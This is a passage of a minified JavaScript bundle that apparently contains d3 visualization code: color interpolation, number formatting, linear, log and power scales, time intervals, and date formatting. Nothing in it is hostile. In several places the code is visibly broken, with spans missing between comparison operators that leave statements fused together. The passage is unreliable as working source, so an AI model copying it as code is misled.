Rn(_1(this.h),Wl(this.s),Wl(this.l),vu(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=vu(this.opacity);return`${e===1?"hsl(":"hsla("}${_1(this.h)}, ${Wl(this.s)*100}%, ${Wl(this.l)*100}%${e===1?")":`, ${e})`}`}}));function _1(e){return e=(e||0)%360,e<0?e+360:e}function Wl(e){return Math.max(0,Math.min(1,e||0))}function ip(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const Zx=e=>()=>e;function V8(e,t){return function(n){return e+n*t}}function H8(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function K8(e){return(e=+e)==1?RN:function(t,n){return n-t?H8(t,n,e):Zx(isNaN(t)?n:t)}}function RN(e,t){var n=t-e;return n?V8(e,n):Zx(isNaN(e)?t:e)}const O1=function e(t){var n=K8(t);function r(i,a){var o=n((i=ih(i)).r,(a=ih(a)).r),l=n(i.g,a.g),c=n(i.b,a.b),u=RN(i.opacity,a.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function q8(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(a){for(i=0;in&&(a=t.slice(n,a),l[o]?l[o]+=a:l[++o]=a),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:gu(r,i)})),n=ap.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function iL(e,t,n){var r=e[0],i=e[1],a=t[0],o=t[1];return i2?aL:iL,c=u=null,f}function f(m){return m==null||isNaN(m=+m)?a:(c||(c=l(e.map(r),t,n)))(r(o(m)))}return f.invert=function(m){return o(i((u||(u=l(t,e.map(r),gu)))(m)))},f.domain=function(m){return arguments.length?(e=Array.from(m,yu),d()):e.slice()},f.range=function(m){return arguments.length?(t=Array.from(m),d()):t.slice()},f.rangeRound=function(m){return t=Array.from(m),n=Qx,d()},f.clamp=function(m){return arguments.length?(o=m?!0:Lt,d()):o!==Lt},f.interpolate=function(m){return arguments.length?(n=m,d()):n},f.unknown=function(m){return arguments.length?(a=m,f):a},function(m,h){return r=m,i=h,d()}}function Jx(){return Bd()(Lt,Lt)}function sL(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function bu(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Ja(e){return e=bu(Math.abs(e)),e?e[1]:NaN}function oL(e,t){return function(n,r){for(var i=n.length,a=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),a.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return a.reverse().join(t)}}function lL(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var cL=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function $o(e){if(!(t=cL.exec(e)))throw new Error("invalid format: "+e);var t;return new e0({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}$o.prototype=e0.prototype;function e0(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}e0.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function uL(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var wu;function dL(e,t){var n=bu(e,t);if(!n)return wu=void 0,e.toPrecision(t);var r=n[0],i=n[1],a=i-(wu=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return a===o?r:a>o?r+new Array(a-o+1).join("0"):a>0?r.slice(0,a)+"."+r.slice(a):"0."+new Array(1-a).join("0")+bu(e,Math.max(0,t+a-1))[0]}function M1(e,t){var n=bu(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const L1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:sL,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>M1(e*100,t),r:M1,s:dL,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function I1(e){return e}var D1=Array.prototype.map,R1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function fL(e){var t=e.grouping===void 0||e.thousands===void 0?I1:oL(D1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",a=e.numerals===void 0?I1:lL(D1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,m){f=$o(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,k=f.trim,S=f.type;S==="n"?(w=!0,S="g"):L1[S]||(j===void 0&&(j=12),k=!0,S="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var N=(m&&m.prefix!==void 0?m.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(S)?"0"+S.toLowerCase():""),z=(y==="$"?r:/[%p]/.test(S)?o:"")+(m&&m.suffix!==void 0?m.suffix:""),_=L1[S],A=/[defgprs%]/.test(S);j=j===void 0?6:/[gprs]/.test(S)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function O(P){var I=N,U=z,D,M,F;if(S==="c")U=_(P)+U,P="";else{P=+P;var R=P<0||1/P<0;if(P=isNaN(P)?c:_(Math.abs(P),j),k&&(P=uL(P)),R&&+P==0&&g!=="+"&&(R=!1),I=(R?g==="("?g:l:g==="-"||g==="("?"":g)+I,U=(S==="s"&&!isNaN(P)&&wu!==void 0?R1[8+wu/3]:"")+U+(R&&g==="("?")":""),A){for(D=-1,M=P.length;++DF||F>57){U=(F===46?i+P.slice(D+1):P.slice(D))+U,P=P.slice(0,D);break}}}w&&!v&&(P=t(P,1/0));var W=I.length+P.length+U.length,$=W>1)+I+P+U+$.slice(W);break;default:P=$+I+P+U;break}return a(P)}return O.toString=function(){return f+""},O}function d(f,m){var h=Math.max(-8,Math.min(8,Math.floor(Ja(m)/3)))*3,x=Math.pow(10,-h),g=u((f=$o(f),f.type="f",f),{suffix:R1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Ul,t0,$N;pL({thousands:",",grouping:[3],currency:["$",""]});function pL(e){return Ul=fL(e),t0=Ul.format,$N=Ul.formatPrefix,Ul}function mL(e){return Math.max(0,-Ja(Math.abs(e)))}function hL(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Ja(t)/3)))*3-Ja(Math.abs(e)))}function xL(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Ja(t)-Ja(e))+1}function BN(e,t,n,r){var i=nh(e,t,n),a;switch(r=$o(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(a=hL(i,o))&&(r.precision=a),$N(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(a=xL(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=a-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(a=mL(i))&&(r.precision=a-(r.type==="%")*2);break}}return t0(r)}function ji(e){var t=e.domain;return e.ticks=function(n){var r=t();return eh(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return BN(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,a=r.length-1,o=r[i],l=r[a],c,u,d=10;for(l0;){if(u=th(o,l,n),u===c)return r[i]=o,r[a]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function FN(){var e=Jx();return e.copy=function(){return rl(e,FN())},Pn.apply(e,arguments),ji(e)}function WN(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,yu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return WN(e).unknown(t)},e=arguments.length?Array.from(e,yu):[0,1],ji(n)}function UN(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],a=e[r],o;return aMath.pow(e,t)}function wL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function F1(e){return(t,n)=>-e(-t,n)}function n0(e){const t=e($1,B1),n=t.domain;let r=10,i,a;function o(){return i=wL(r),a=bL(r),n()[0]<0?(i=F1(i),a=F1(a),e(vL,gL)):e($1,B1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;m<=h;++m)for(x=1;xd)break;v.push(g)}}else for(;m<=h;++m)for(x=r-1;x>=1;--x)if(g=m>0?x/a(-m):x*a(m),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=$o(c)).precision==null&&(c.trim=!0),c=t0(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/a(Math.round(i(d)));return f*rn(UN(n(),{floor:l=>a(Math.floor(i(l))),ceil:l=>a(Math.ceil(i(l)))})),t}function VN(){const e=n0(Bd()).domain([1,10]);return e.copy=()=>rl(e,VN()).base(e.base()),Pn.apply(e,arguments),e}function W1(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function U1(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function r0(e){var t=1,n=e(W1(t),U1(t));return n.constant=function(r){return arguments.length?e(W1(t=+r),U1(t)):t},ji(n)}function HN(){var e=r0(Bd());return e.copy=function(){return rl(e,HN()).constant(e.constant())},Pn.apply(e,arguments)}function V1(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function jL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function kL(e){return e<0?-e*e:e*e}function i0(e){var t=e(Lt,Lt),n=1;function r(){return n===1?e(Lt,Lt):n===.5?e(jL,kL):e(V1(n),V1(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},ji(t)}function a0(){var e=i0(Bd());return e.copy=function(){return rl(e,a0()).exponent(e.exponent())},Pn.apply(e,arguments),e}function NL(){return a0.apply(null,arguments).exponent(.5)}function H1(e){return Math.sign(e)*e*e}function SL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function KN(){var e=Jx(),t=[0,1],n=!1,r;function i(a){var o=SL(e(a));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(a){return e.invert(H1(a))},i.domain=function(a){return arguments.length?(e.domain(a),i):e.domain()},i.range=function(a){return arguments.length?(e.range((t=Array.from(a,yu)).map(H1)),i):t.slice()},i.rangeRound=function(a){return i.range(a).round(!0)},i.round=function(a){return arguments.length?(n=!!a,i):n},i.clamp=function(a){return arguments.length?(e.clamp(a),i):e.clamp()},i.unknown=function(a){return arguments.length?(r=a,i):r},i.copy=function(){return KN(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Pn.apply(i,arguments),ji(i)}function qN(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(a=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return YN().domain([e,t]).range(i).unknown(a)},Pn.apply(ji(o),arguments)}function GN(){var e=[.5],t=[0,1],n,r=1;function i(a){return a!=null&&a<=a?t[tl(e,a,0,r)]:n}return i.domain=function(a){return arguments.length?(e=Array.from(a),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(a){return arguments.length?(t=Array.from(a),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(a){var o=t.indexOf(a);return[e[o-1],e[o]]},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return GN().domain(e).range(t).unknown(n)},Pn.apply(i,arguments)}const sp=new Date,op=new Date;function pt(e,t,n,r){function i(a){return e(a=arguments.length===0?new Date:new Date(+a)),a}return i.floor=a=>(e(a=new Date(+a)),a),i.ceil=a=>(e(a=new Date(a-1)),t(a,1),e(a),a),i.round=a=>{const o=i(a),l=i.ceil(a);return a-o(t(a=new Date(+a),o==null?1:Math.floor(o)),a),i.range=(a,o,l)=>{const c=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a0))return c;let u;do c.push(u=new Date(+a)),t(a,l),e(a);while(upt(o=>{if(o>=o)for(;e(o),!a(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!a(o););else for(;--l>=0;)for(;t(o,1),!a(o););}),n&&(i.count=(a,o)=>(sp.setTime(+a),op.setTime(+o),e(sp),e(op),Math.floor(n(sp,op))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(r?o=>r(o)%a===0:o=>i.count(0,o)%a===0):i)),i}const ju=pt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);ju.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?pt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):ju);ju.range;const yr=1e3,jn=yr*60,br=jn*60,Ar=br*24,s0=Ar*7,K1=Ar*30,lp=Ar*365,Bi=pt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*yr)},(e,t)=>(t-e)/yr,e=>e.getUTCSeconds());Bi.range;const o0=pt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*yr)},(e,t)=>{e.setTime(+e+t*jn)},(e,t)=>(t-e)/jn,e=>e.getMinutes());o0.range;const l0=pt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*jn)},(e,t)=>(t-e)/jn,e=>e.getUTCMinutes());l0.range;const c0=pt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*yr-e.getMinutes()*jn)},(e,t)=>{e.setTime(+e+t*br)},(e,t)=>(t-e)/br,e=>e.getHours());c0.range;const u0=pt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*br)},(e,t)=>(t-e)/br,e=>e.getUTCHours());u0.range;const il=pt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*jn)/Ar,e=>e.getDate()-1);il.range;const Fd=pt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ar,e=>e.getUTCDate()-1);Fd.range;const XN=pt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ar,e=>Math.floor(e/Ar));XN.range;function ca(e){return pt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*jn)/s0)}const Wd=ca(0),ku=ca(1),zL=ca(2),CL=ca(3),es=ca(4),PL=ca(5),EL=ca(6);Wd.range;ku.range;zL.range;CL.range;es.range;PL.range;EL.range;function ua(e){return pt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/s0)}const Ud=ua(0),Nu=ua(1),AL=ua(2),_L=ua(3),ts=ua(4),OL=ua(5),TL=ua(6);Ud.range;Nu.range;AL.range;_L.range;ts.range;OL.range;TL.range;const d0=pt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());d0.range;const f0=pt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());f0.range;const _r=pt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());_r.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:pt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});_r.range;const Or=pt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());Or.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:pt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});Or.range;function ZN(e,t,n,r,i,a){const o=[[Bi,1,yr],[Bi,5,5*yr],[Bi,15,15*yr],[Bi,30,30*yr],[a,1,jn],[a,5,5*jn],[a,15,15*jn],[a,30,30*jn],[i,1,br],[i,3,3*br],[i,6,6*br],[i,12,12*br],[r,1,Ar],[r,2,2*Ar],[n,1,s0],[t,1,K1],[t,3,3*K1],[e,1,lp]];function l(u,d,f){const m=dy).right(o,m);if(h===o.length)return e.every(nh(u/lp,d/lp,f));if(h===0)return ju.every(Math.max(nh(u,d,f),1));const[x,g]=o[m/o[h-1][2]53)return null;"w"in B||(B.w=1),"Z"in B?(ve=up(Ls(B.y,0,1)),we=ve.getUTCDay(),ve=we>4||we===0?Nu.ceil(ve):Nu(ve),ve=Fd.offset(ve,(B.V-1)*7),B.y=ve.getUTCFullYear(),B.m=ve.getUTCMonth(),B.d=ve.getUTCDate()+(B.w+6)%7):(ve=cp(Ls(B.y,0,1)),we=ve.getDay(),ve=we>4||we===0?ku.ceil(ve):ku(ve),ve=il.offset(ve,(B.V-1)*7),B.y=ve.getFullYear(),B.m=ve.getMonth(),B.d=ve.getDate()+(B.w+6)%7)}else("W"in B||"U"in B)&&("w"in B||(B.w="u"in B?B.u%7:"W"in B?1:0),we="Z"in B?up(Ls(B.y,0,1)).getUTCDay():cp(Ls(B.y,0,1)).getDay(),B.m=0,B.d="W"in B?(B.w+6)%7+B.W*7-(we+5)%7:B.w+B.U*7-(we+6)%7);return"Z"in B?(B.H+=B.Z/100|0,B.M+=B.Z%100,up(B)):cp(B)}}function z(C,K,ne,B){for(var ie=0,ve=K.length,we=ne.length,_e,L;ie=we)return-1;if(_e=K.charCodeAt(ie++),_e===37){if(_e=K.charAt(ie++),L=k[_e in q1?K.charAt(ie++):_e],!L||(B=L(C,ne,B))<0)return-1}else if(_e!=ne.charCodeAt(B++))return-1}return B}function _(C,K,ne){var B=u.exec(K.slice(ne));return B?(C.p=d.get(B[0].toLowerCase()),ne+B[0].length):-1}function A(C,K,ne){var B=h.exec(K.slice(ne));return B?(C.w=x.get(B[0].toLowerCase()),ne+B[0].length):-1}function O(C,K,ne){var B=f.exec(K.slice(ne));return B?(C.w=m.get(B[0].toLowerCase()),ne+B[0].length):-1}function P(C,K,ne){var B=v.exec(K.slice(ne));return B?(C.m=b.get(B[0].toLowerCase()),ne+B[0].length):-1}function I(C,K,ne){var B=g.exec(K.slice(ne));return B?(C.m=y.get(B[0].toLowerCase()),ne+B[0].length):-1}function U(C,K,ne){return z(C,t,K,ne)}function D(C,K,ne){return z(C,n,K,ne)}function M(C,K,ne){return z(C,r,K,ne)}function F(C){return o[C.getDay()]}function R(C){return a[C.getDay()]}function W(C){return c[C.getMonth()]}function $(C){return l[C.getMonth()]}function H(C){return i[+(C.getHours()>=12)]}function X(C){return 1+~~(C.getMonth()/3)}function se(C){return o[C.getUTCDay()]}function ue(C){return a[C.getUTCDay()]}function ge(C){return c[C.getUTCMonth()]}function xe(C){return l[C.getUTCMonth()]}function Y(C){return i[+(C.getUTCHours()>=12)]}function ee(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var K=S(C+="",w);return K.toString=function(){return C},K},parse:function(C){var K=N(C+="",!1);return K.toString=function(){return C},K},utcFormat:function(C){var K=S(C+="",j);return K.toString=function(){return C},K},utcParse:function(C){var K=N(C+="",!0);return K.toString=function(){return C},K}}}var q1={"-":"",_:" ",0:"0"},bt=/^\s*\d+/,$L=/^%/,BL=/[\\^$*+?|[\]().{}]/g;function Ce(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",a=i.length;return r+(a[t.toLowerCase(),n]))}function WL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function UL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function VL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function HL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function KL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function Y1(e,t,n){var r=bt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function G1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function qL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function YL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function GL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function X1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function XL(e,t,n){var r=bt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function Z1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function ZL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function QL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function JL(e,t,n){var r=bt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function e7(e,t,n){var r=bt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function t7(e,t,n){var r=$L.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function n7(e,t,n){var r=bt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function r7(e,t,n){var r=bt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function Q1(e,t){return Ce(e.getDate(),t,2)}function i7(e,t){return Ce(e.getHours(),t,2)}function a7(e,t){return Ce(e.getHours()%12||12,t,2)}function s7(e,t){return Ce(1+il.count(_r(e),e),t,3)}function QN(e,t){return Ce(e.getMilliseconds(),t,3)}function o7(e,t){return QN(e,t)+"000"}function l7(e,t){return Ce(e.getMonth()+1,t,2)}function c7(e,t){return Ce(e.getMinutes(),t,2)}function u7(e,t){return Ce(e.getSeconds(),t,2)}function d7(e){var t=e.getDay();return t===0?7:t}function f7(e,t){return Ce(Wd.count(_r(e)-1,e),t,2)}function JN(e){var t=e.getDay();return t>=4||t===0?es(e):es.ceil(e)}function p7(e,t){return e=JN(e),Ce(es.count(_r(e),e)+(_r(e).getDay()===4),t,2)}function m7(e){return e.getDay()}function h7(e,t){return Ce(ku.count(_r(e)-1,e),t,2)}function x7(e,t){return Ce(e.getFullYear()%100,t,2)}function v7(e,t){return e=JN(e),Ce(e.getFullYear()%100,t,2)}function g7(e,t){return Ce(e.getFullYear()%1e4,t,4)}function y7(e,t){var n=e.getDay();return e=n>=4||n===0?es(e):es.ceil(e),Ce(e.getFullYear()%1e4,t,4)}function b7(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+Ce(t/60|0,"0",2)+Ce(t%60,"0",2)}function J1(e,t){return Ce(e.getUTCDate(),t,2)}function w7(e,t){return Ce(e.getUTCHours(),t,2)}function j7(e,t){return Ce(e.getUTCHours()%12||12,t,2)}function k7(e,t){return Ce(1+Fd.count(Or(e),e),t,3)}function e4(e,t){return Ce(e.getUTCMilliseconds(),t,3)}function N7(e,t){return e4(e,t)+"000"}function S7(e,t){return Ce(e.getUTCMonth()+1,t,2)}function z7(e,t){return Ce(e.getUTCMinutes(),t,2)}function C7(e,t){return Ce(e.getUTCSeconds(),t,2)}function P7(e){var t=e.getUTCDay();return t===0?7:t}function E7(e,t){return Ce(Ud.count(Or(e)-1,e),t,2)}function t4(e){var t=e.getUTCDay();return t>=4||t===0?ts(e):ts.ceil(e)}function A7(e,t){return e=t4(e),Ce(ts.count(Or(e),e)+(Or(e).getUTCDay()===4),t,2)}function _7(e){return e.getUTCDay()}function O7(e,t){return Ce(Nu.count(Or(e)-1,e),t,2)}function T7(e,t){return Ce(e.getUTCFullYear()%100,t,2)}function M7(e,t){return e=t4(e),Ce(e.getUTCFullYear()%100,t,2)}function L7(e,t){return Ce(e.getUTCFullYear()%1e4,t,4)}function I7(e,t){var n=e.getUTCDay();return e=n>=4||n===0?ts(e):ts.ceil(e),Ce(e.getUTCFullYear()%1e4,t,4)}function D7(){return"+0000"}function eb(){return"%"}function tb(e){return+e}function nb(e){return Math.floor(+e/1e3)}var pa,n4,r4;R7({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function R7(e){return pa=RL(e),n4=pa.format,pa.parse,r4=pa.utcFormat,pa.utcParse,pa}function $7(e){return new Date(e)}function B7(e){return e instanceof Date?+e:+new Date(+e)}function p0(e,t,n,r,i,a,o,l,c,u){var d=Jx(),f=d.invert,m=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function k(S){return(c(S)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,a)=>P8(e,a/r))},n.copy=function(){return o4(t).domain(e)},Br.apply(n,arguments)}function Hd(){var e=0,t=.5,n=1,r=1,i,a,o,l,c,u=Lt,d,f=!1,m;function h(g){return isNaN(g=+g)?m:(g=.5+((g=+d(g))-a)*(r*ge.chartData,Kd=T([Fr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),d4=(e,t,n,r)=>r?Kd(e):Fr(e),H7=(e,t,n)=>n?Kd(e):Fr(e);function Tr(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(ze(t)&&ze(n))return!0}return!1}function rb(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function f4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,a;if(ze(n))i=n;else if(typeof n=="function")return;if(ze(r))a=r;else if(typeof r=="function")return;var o=[i,a];if(Tr(o))return o}}function K7(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Tr(r))return 